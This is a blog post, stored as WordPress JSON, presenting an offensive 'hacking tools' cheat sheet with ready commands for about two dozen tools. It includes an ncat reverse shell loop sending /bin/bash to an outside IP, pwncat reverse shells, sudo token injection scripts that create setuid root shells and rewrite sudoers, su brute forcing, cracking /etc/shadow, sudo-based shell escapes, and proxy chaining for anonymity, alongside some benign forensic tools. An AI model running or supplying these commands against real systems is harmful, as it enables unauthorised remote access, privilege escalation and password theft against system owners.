{"id":1635,"date":"2021-03-28T15:10:22","date_gmt":"2021-03-28T15:10:22","guid":{"rendered":"https:\/\/dft.wiki\/?p=1635"},"modified":"2022-06-23T17:10:55","modified_gmt":"2022-06-23T21:10:55","slug":"hacking-tools-cheat-sheet-2","status":"publish","type":"post","link":"https:\/\/dft.wiki\/?p=1635","title":{"rendered":"Hacking Tools Cheat Sheet #2"},"content":{"rendered":"<h5>Reference List<\/h5>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol>\n<li><a href=\"#Tnmap\">Tnmap<\/a><\/li>\n<li><a href=\"#SearchSploit\">SearchSploit<\/a><\/li>\n<li><a href=\"#suBruteForce\">suBruteForce<\/a><\/li>\n<li><a href=\"#sudo_inject\">sudo_inject<\/a><\/li>\n<li><a href=\"#Foremost\">Foremost<\/a><\/li>\n<li><a href=\"#Zsteg\">Zsteg<\/a><\/li>\n<li><a href=\"#ExifTool\">ExifTool<\/a><\/li>\n<li><a href=\"#GDB\">GDB<\/a><\/li>\n<li><a href=\"#SublimeText\">SublimeText<\/a><\/li>\n<li><a href=\"#NCat\">NCat<\/a><\/li>\n<li><a href=\"#PwnCat\">PwnCat<\/a><\/li>\n<li><a href=\"#SeatBelt\">SeatBelt<\/a><\/li>\n<li><a href=\"#GoBuster\">GoBuster<\/a><\/li>\n<li><a href=\"#SSHuttle\">SSHuttle<\/a><\/li>\n<li><a href=\"#BloodHound\">BloodHound<\/a><\/li>\n<li><a href=\"#Evil-WinRM\">Evil-WinRM<\/a><\/li>\n<li><a href=\"#Armitage\">Armitage<\/a><\/li>\n<li><a href=\"#FrameBuffer\">FrameBuffer<\/a><\/li>\n<li><a href=\"#JohnTheRipper\">JohnTheRipper<\/a><\/li>\n<li><a href=\"#ColabCat\">ColabCat<\/a><\/li>\n<li><a href=\"#SMBMap\">SMBMap<\/a><\/li>\n<li><a href=\"#enum4linux\">enum4linux<\/a><\/li>\n<li><a href=\"#ProxyChains\">ProxyChains<\/a><\/li>\n<li><a href=\"#HashID\">HashID<\/a><\/li>\n<li><a href=\"#Axel\">Axel<\/a><\/li>\n<li><a href=\"#GettingShell\">GettingShell<\/a><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<hr id=\"Tnmap\" \/>\n<p><strong>Tnmap.py<\/strong> &#8211; This program breaks a big network into many small segments to enable parallel scans, multi-hosts task share, and more [<a href=\"https:\/\/github.com\/PaulMcMillan\/tasa\/blob\/master\/examples\/tnmap.py\">Link<\/a>].<\/p>\n<pre>tnmap.py 10.0.0.0\/8<\/pre>\n<hr id=\"SearchSploit\" \/>\n<p><strong>SearchSploit<\/strong> &#8211; Simple way to search for vulnerabilities on a local copy of the exploit-db.com [<a href=\"https:\/\/www.exploit-db.com\/searchsploit\">Link<\/a>]. Other sources of vulns\/exploits at NIST Search Vulnerability Database [<a href=\"https:\/\/nvd.nist.gov\/vuln\/search\">Link<\/a>], Mitre CVE [<a href=\"https:\/\/cve.mitre.org\/\">Link<\/a>], and CVE Program Mission [<a href=\"https:\/\/www.cve.org\/\">Link<\/a>].<\/p>\n<pre>sudo apt install exploitdb -y\r\nsearchsploit wordpress \r\nsudo -V | grep \"Sudo ver\" searchsploit \"sudo 1.9.5p1\"<\/pre>\n<hr id=\"suBruteForce\" \/>\n<p><strong>suBruteForce<\/strong> &#8211; Full throttle to get access as a specific user [<a href=\"https:\/\/github.com\/carlospolop\/su-bruteforce\">Link<\/a>].<\/p>\n<pre>.\/suBF.sh -u username -w top12000.txt -t 0.7 -s 0.007<\/pre>\n<hr id=\"sudo_inject\" \/>\n<p><strong>sudo_inject<\/strong> &#8211; Injects process that have valid sudo token and activate our own sudo token [<a href=\"https:\/\/github.com\/nongiach\/sudo_inject\">Link<\/a>].<\/p>\n<p>Will create the binary activate_sudo_token in \/tmp. You can use it to activate the sudo token in your session:<\/p>\n<pre>bash exploit.sh\r\n\/tmp\/activate_sudo_token\r\nsudo su<\/pre>\n<p>Will create a sh shell in \/tmp owned by root with setuid:<\/p>\n<pre>bash exploit_v2.sh\r\n\/tmp\/sh -p<\/pre>\n<p>Will create a sudoers file that makes sudo tokens eternal and allows all users to use sudo:<\/p>\n<pre>bash exploit_v3.sh\r\nsudo su<\/pre>\n<hr id=\"Foremost\" \/>\n<p><strong>Foremost<\/strong> &#8211; A forensics tool to recover files based on headers and footers from disk or image file [<a href=\"https:\/\/gitlab.com\/kalilinux\/packages\/foremost\">Link<\/a>].<\/p>\n<pre>sudo apt install foremost\r\nforemost -t <strong>jpg,pdf<\/strong> -i <strong>image.dd<\/strong>\r\nforemost -t <strong>doc,xml<\/strong> -i <strong>\/dev\/sdb1<\/strong><\/pre>\n<hr id=\"Zsteg\" \/>\n<p><strong>Zsteg<\/strong> &#8211; A Ruby application to detect and extract hidden data in image files [<a href=\"https:\/\/github.com\/zed-0xff\/zsteg\">Link<\/a>].<\/p>\n<pre>sudo gem install zsteg\r\nzsteg image.png<\/pre>\n<hr id=\"ExifTool\" \/>\n<p><strong>ExifTool<\/strong> &#8211; An application for reading and writing meta information in a wide variety of files [<a href=\"https:\/\/github.com\/exiftool\/exiftool\">Link<\/a>]. Official website [<a href=\"https:\/\/exiftool.org\/\">Link<\/a>].<\/p>\n<pre>sudo apt install exiftool\r\nexiftool image.png\r\nexiftool -common image.jpg\r\nexiftool image.jpg | grep GPS\r\nexiftool -all= image.jpg<\/pre>\n<hr id=\"GDB\" \/>\n<p><strong>GDB<\/strong> &#8211; The GNU Project debugger, allows one to see what is going on &#8216;inside&#8217; a program while it executes or what a program was &#8216;doing&#8217; at the moment it crashed [<a href=\"https:\/\/www.gnu.org\/software\/gdb\/\">Link<\/a>]. Usually used with PEDA (Python Exploit Development Assistance for GDB), which colorizes and displays disassembly codes, registers, memory information during debugging, and adds extra commands [<a href=\"https:\/\/github.com\/longld\/peda\">Link<\/a>].<\/p>\n<pre>sudo apt install gdb\r\ngdb executable\r\n(gdb) run<\/pre>\n<hr id=\"SublimeText\" \/>\n<p><strong>SublimeText<\/strong> &#8211; A very sophisticated text editor for code and markup [<a href=\"https:\/\/www.sublimetext.com\/\">Link<\/a>].<\/p>\n<pre>wget -qO - https:\/\/download.sublimetext.com\/sublimehq-pub.gpg | sudo apt-key add -\r\nsudo apt-get install apt-transport-https\r\necho \"deb https:\/\/download.sublimetext.com\/ apt\/stable\/\" | sudo tee \/etc\/apt\/sources.list.d\/sublime-text.list\r\nsudo apt-get update\r\nsudo apt-get install sublime-text\r\nsubl script.sh<\/pre>\n<hr id=\"NCat\" \/>\n<p><strong>NCat<\/strong> &#8211; A NetCat version by NMAP that accepts SSL [<a href=\"https:\/\/nmap.org\/ncat\/guide\/ncat-ssl.html\">Link<\/a>].<\/p>\n<pre>while true; do sudo ncat <strong>--ssl<\/strong> -lv 53 ; done\r\nwhile true; do ncat <strong>--ssl<\/strong> -v 174.88.217.186 53 <strong>-e \/bin\/bash<\/strong>; sleep 5 ; done\r\npython3 -c '<strong>import pty; pty.spawn(\"\/bin\/bash\")<\/strong>'<\/pre>\n<hr id=\"PwnCat\" \/>\n<p><strong>PwnCat<\/strong> &#8211; A sophisticated bind and reverse shell handler with many features as well as a drop-in replacement or compatible complement to netcat, ncat or socat [<a href=\"https:\/\/pwncat.org\/\">Link<\/a>].<\/p>\n<pre>pwncat <strong>-l -e<\/strong> '\/bin\/bash' <strong>4444 -k<\/strong>\r\npwncat <strong>-e<\/strong> '\/bin\/bash' example.com 4444 <strong>--reconn --recon-wait 1<\/strong>\r\npwncat <strong>-e<\/strong> '\/bin\/bash' example.com 4444 <strong>-u --ping-intvl 1<\/strong><\/pre>\n<p>The first example will keep listening (blind) even after disconnect.<\/p>\n<p>The second and third are reverse and reconnect if Ctrl+C interrupts it but the third works over UDP.<\/p>\n<hr id=\"SeatBelt\" \/>\n<p><strong>SeatBelt<\/strong> &#8211; Performs a number of security-oriented host-survey safety checks [<a href=\"https:\/\/github.com\/GhostPack\/Seatbelt\">Link<\/a>].<\/p>\n<pre>Seatbelt.exe -group=all -full\r\nSeatbelt.exe -group=user\r\nSeatbelt.exe -group=system\r\nSeatbelt.exe -group=slack\r\nSeatbelt.exe -group=chromium\r\nSeatbelt.exe -group=chromium\r\nSeatbelt.exe -group=misc<\/pre>\n<hr id=\"GoBuster\" \/>\n<p><strong>GoBuster<\/strong> &#8211; A tool to brute-force and discover directories, files, and subdomains [<a href=\"https:\/\/github.com\/OJ\/gobuster\">Link<\/a>]..<\/p>\n<pre>sudo apt install gobuster\r\ngobuster <strong>dir<\/strong> <strong>-e -t 50 -u<\/strong> http:\/\/example.com\/ <strong>-w<\/strong> \/usr\/share\/wordlists\/dirb\/common.txt\r\ngobuster <strong>dns -d<\/strong> example.com -w subdomains.txt --wildcard<\/pre>\n<p>The first example uses <strong>-w<\/strong> to inform the wordlist file, <strong>-u<\/strong> to inform the URL or domain, <strong>-e<\/strong> for expanded mode, and <strong>-t<\/strong> define the number of threads.<\/p>\n<p>On the second example, it looks for subdomains using <strong>dns -d<\/strong> and <strong> &#8211;wildcard<\/strong> detects properly the existence of a wildcard (*.example.com).<\/p>\n<hr id=\"SSHuttle\" \/>\n<p><strong>SSHuttle<\/strong> &#8211; Creates a VPN over the SSH tunnel and allows pivoting into the network laterally [<a href=\"https:\/\/github.com\/sshuttle\/sshuttle\">Link<\/a>]. It does not require any installation or root access on the host machine, just SSHuttle on the client is necessary. Note that ICMP (ping) does not work over this VPN.<\/p>\n<pre>sudo apt-get install sshuttle -y\r\nsshuttle <strong>-r<\/strong> user@host <strong>10.0.0.0\/8\r\n<\/strong>sshuttle <strong>--dns -vvr <\/strong>user@host<strong> 0\/0<\/strong><\/pre>\n<p>Use the argument <strong>-r<\/strong> to set the credentials to login into the host, followed by the network you want to reach over the VPN (<strong>192.168.0.0\/16<\/strong> in this example), <strong>&#8211;dns<\/strong> all the DNS requests will also be tunneled, and <strong>0\/0<\/strong> informs that all the traffic must go through the VPN as well.<\/p>\n<hr id=\"BloodHound\" \/>\n<p><strong>BloodHound<\/strong> &#8211; A GUI to reveal the hidden and often unintended relationships within an Active Directory environment. It can be used to easily gain a deeper understanding of privilege relationships between objects (like users and groups). [<a href=\"https:\/\/github.com\/BloodHoundAD\/BloodHound\">Link<\/a>].<\/p>\n<p>Run the most recent version of the collector file on the PowerShell of a Windows machine that is connected to an Active Directory:<\/p>\n<pre>.\\AzureHound.ps1\r\n\r\nOR\r\n\r\n.\\SharpHound.exe<\/pre>\n<p>Then transfer the output to the machine where the BloodHound will analyze it.<\/p>\n<p>It can be installed using the official tutorial [<a href=\"https:\/\/github.com\/BloodHoundAD\/BloodHound\/tree\/master\/docs\/installation\">Link<\/a>] or if you are using Kali just follow the commands:<\/p>\n<pre>sudo apt-get install bloodhound -y \r\nsudo neo4j console &amp;\r\nbloodhound &amp;<\/pre>\n<p>Go to the page http:\/\/localhost:7474\/ and enter neo4j as user and password, then change them on the next page.<\/p>\n<p>Use the credentials changed above to connect and import the acquired output files in to BloodHound.<\/p>\n<hr id=\"Evil-WinRM\" \/>\n<p><strong>Evil-WinRM<\/strong> &#8211; WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol [<a href=\"https:\/\/github.com\/Hackplayers\/evil-winrm\">Link<\/a>]. This app gives a Remote Power Shell prompt. It can run locally or in a docker container.<\/p>\n<pre>evil-winrm <strong>-i<\/strong> 10.0.0.1 <strong>-u<\/strong> user <strong>-p<\/strong> password<\/pre>\n<hr id=\"Armitage\" \/>\n<p><strong>Armitage<\/strong> &#8211; A free GUI for Metasploit [<a href=\"http:\/\/www.fastandeasyhacking.com\/\">Link<\/a>]. See also the licensed GUI for Metasploit called Cobalt Strike at [<a href=\"https:\/\/www.cobaltstrike.com\/\">Link<\/a>].<\/p>\n<pre>sudo msfdb init\r\nsudo apt install armitage -y\r\nsudo armitage<\/pre>\n<hr id=\"FrameBuffer\" \/>\n<p><strong>FrameBuffer<\/strong> &#8211; It is not a tool but a technique to capture the physical video output and export it to a file to be virtualized or stored. It needs the resolution information to make it visible later.<\/p>\n<pre>cat \/dev\/<strong>fb0<\/strong> &gt; fb.raw\r\ncat \/sys\/class\/graphics\/<strong>fb0\/virtual_size<\/strong><\/pre>\n<p>Now use GIMP to visualize the file.<\/p>\n<hr id=\"JohnTheRipper\" \/>\n<p><strong>JohnTheRipper<\/strong> &#8211; Tool for crashing hashes [<a href=\"https:\/\/gitlab.com\/kalilinux\/packages\/john\">Link<\/a>]. It is able to find out what kind of hash is being used and adjust the parameters for it automatically.<\/p>\n<pre>john single_password.txt\r\njohn -w:password.lst user:pass.lst\r\nsudo john \/etc\/passwd \/etc\/shadow<\/pre>\n<p>58k English words list in upper and lower case [<a href=\"http:\/\/www.mieliestronk.com\/wordlist.html\">Link<\/a>].<\/p>\n<p>Tools attached to John:<\/p>\n<pre>sudo <strong>unshadow<\/strong> \/etc\/passwd \/etc\/shadow &gt; unshadow.txt\r\n<strong>unique<\/strong> -v -inp=<strong>allwords<\/strong>.lst <strong>uniques<\/strong>.lst<\/pre>\n<hr id=\"ColabCat\" \/>\n<p><strong>ColabCat<\/strong> &#8211; Use Google Research Colab&#8217;s GPU resources to crack hashes with HashCat at [<a href=\"https:\/\/colab.research.google.com\/github\/someshkar\/colabcat\/blob\/master\/colabcat.ipynb\">Link<\/a>] and follow the steps. It is also possible to run John there.<\/p>\n<pre>!bash\r\napt update\r\napt install john\r\necho \"b50ac41ec20631c7b6be72f070d8ff67\" &gt; pass\r\ncat pass\r\njohn pass<\/pre>\n<hr id=\"SMBMap\" \/>\n<p><strong>SMBMap<\/strong> &#8211; Lists share drives, permissions, shared contents, uploads\/downloads, and even executes remote commands [<a href=\"https:\/\/github.com\/ShawnDEvans\/smbmap\">Link<\/a>].<\/p>\n<pre>smbmap -H 10.0.0.1 -R\r\nsmbmap -u user -p password -H host<\/pre>\n<hr id=\"enum4linux\" \/>\n<p><strong>enum4linux<\/strong> &#8211; A combination of the Samba tools: smbclient, rpclient, net, and nmblookup used for enumeration [<a href=\"https:\/\/labs.portcullis.co.uk\/tools\/enum4linux\/\">Link<\/a>].<\/p>\n<pre>enum4linux.pl <strong>-v<\/strong> 10.0.0.1\r\nenum4linux.pl <strong>-a<\/strong> 10.0.0.1\r\nenum4linux.pl <strong>-r<\/strong> 10.0.0.1\r\nenum4linux.pl <strong>-u user -p password -U<\/strong> 10.0.0.1<\/pre>\n<hr id=\"ProxyChains\" \/>\n<p><strong>ProxyChains<\/strong> &#8211; A combination of the Samba tools: smbclient, rpclient, net, and nmblookup used for enumeration [<a href=\"http:\/\/proxychains.sourceforge.net\/\">Link<\/a>].<\/p>\n<pre><strong>proxychains<\/strong> nmap 10.0.0.1<\/pre>\n<p>Edit the configuration file <strong>\/etc\/proxychains4.conf<\/strong> and customize if necessary:<\/p>\n<pre>dynamic_chain\r\n#strict_chain\r\nchain_len = 2\r\nproxy_dns\r\n[ProxyList]\r\n#socks5 127.0.0.1 9150          # would use Tor Network\r\nsocks4 200.200.200.200 9050     # a customized proxy\r\nsocks4 200.200.200.100 9050     # a customized proxy\r\nsocks4 200.200.100.100 9050     # a customized proxy\r\nsocks4 200.100.100.100 9050     # a customized proxy<\/pre>\n<p>A good source of proxies can be found at [<a href=\"https:\/\/spys.one\/en\/\">Link<\/a>].<\/p>\n<p>In case you find the message <strong>&#8220;an existing sandbox was detected&#8221;<\/strong>\u00a0on the terminal, issue the following command:<\/p>\n<pre>sudo firecfg --clean<\/pre>\n<hr id=\"HashID\" \/>\n<p><strong>HashID<\/strong> &#8211; Identifies the different types of hashes used to encrypt data and especially passwords [<a href=\"https:\/\/github.com\/psypanda\/hashID\/\">Link<\/a>]. See also a web tool for the same purpose called TunnelsUp\u00a0[<a href=\"https:\/\/www.tunnelsup.com\/hash-analyzer\/\">Link<\/a>].<\/p>\n<pre>pip install hashid\r\nhashid -mj '$2y$10$EtzcwxcVdq7D40GIStLA2u4mxfZfUctoD.fufB7NdAJgjq3ACy2Di'\r\nhashid file.txt<\/pre>\n<hr id=\"Axel\" \/>\n<p><strong>Axel<\/strong> &#8211; Axel is a multi thread Linux CLI download application [<a href=\"https:\/\/github.com\/axel-download-accelerator\/axel\">Link<\/a>]. It works as a download accelerator for commands line interface.<\/p>\n<pre>axel <strong>-a -n 6<\/strong> https:\/\/example.com\/file.gz<\/pre>\n<p>Note: <strong>-a<\/strong> only shows the progress and <strong>-n 6<\/strong> defines the number of threads.<\/p>\n<hr id=\"GettingShell\" \/>\n<p><strong>GettingShell<\/strong> &#8211; Is is not a tool but a small collection of unexpected ways to get root access or shell.<\/p>\n<pre>sudo awk 'BEGIN {system(\"\/bin\/sh\")}'\r\nsudo find \/etc -exec sh -i \\;<\/pre>\n<p>Vim or Vi (command line text editor) or the application More (that used Vim) if run by root can get access to any file on the system and even start a shell:<\/p>\n<ul>\n<li><strong>:e \/etc\/passwd<\/strong>\n<ul>\n<li>open the desired file as the running user<\/li>\n<\/ul>\n<\/li>\n<li><strong>:sh<\/strong>\n<ul>\n<li>get a shell as the running user<\/li>\n<\/ul>\n<\/li>\n<li><strong>:shell<\/strong>\n<ul>\n<li>get a shell as the running user<\/li>\n<\/ul>\n<\/li>\n<li><strong>:set shell=\/bin\/bash<\/strong>\n<ul>\n<li>used to set a non-default shell if necessary<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Reference List Tnmap SearchSploit suBruteForce sudo_inject Foremost Zsteg ExifTool GDB SublimeText NCat PwnCat SeatBelt GoBuster [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-1635","post","type-post","status-publish","format-standard","hentry","category-hacking"],"_links":{"self":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1635","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1635"}],"version-history":[{"count":36,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1635\/revisions"}],"predecessor-version":[{"id":3045,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1635\/revisions\/3045"}],"wp:attachment":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1635"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1635"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1635"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}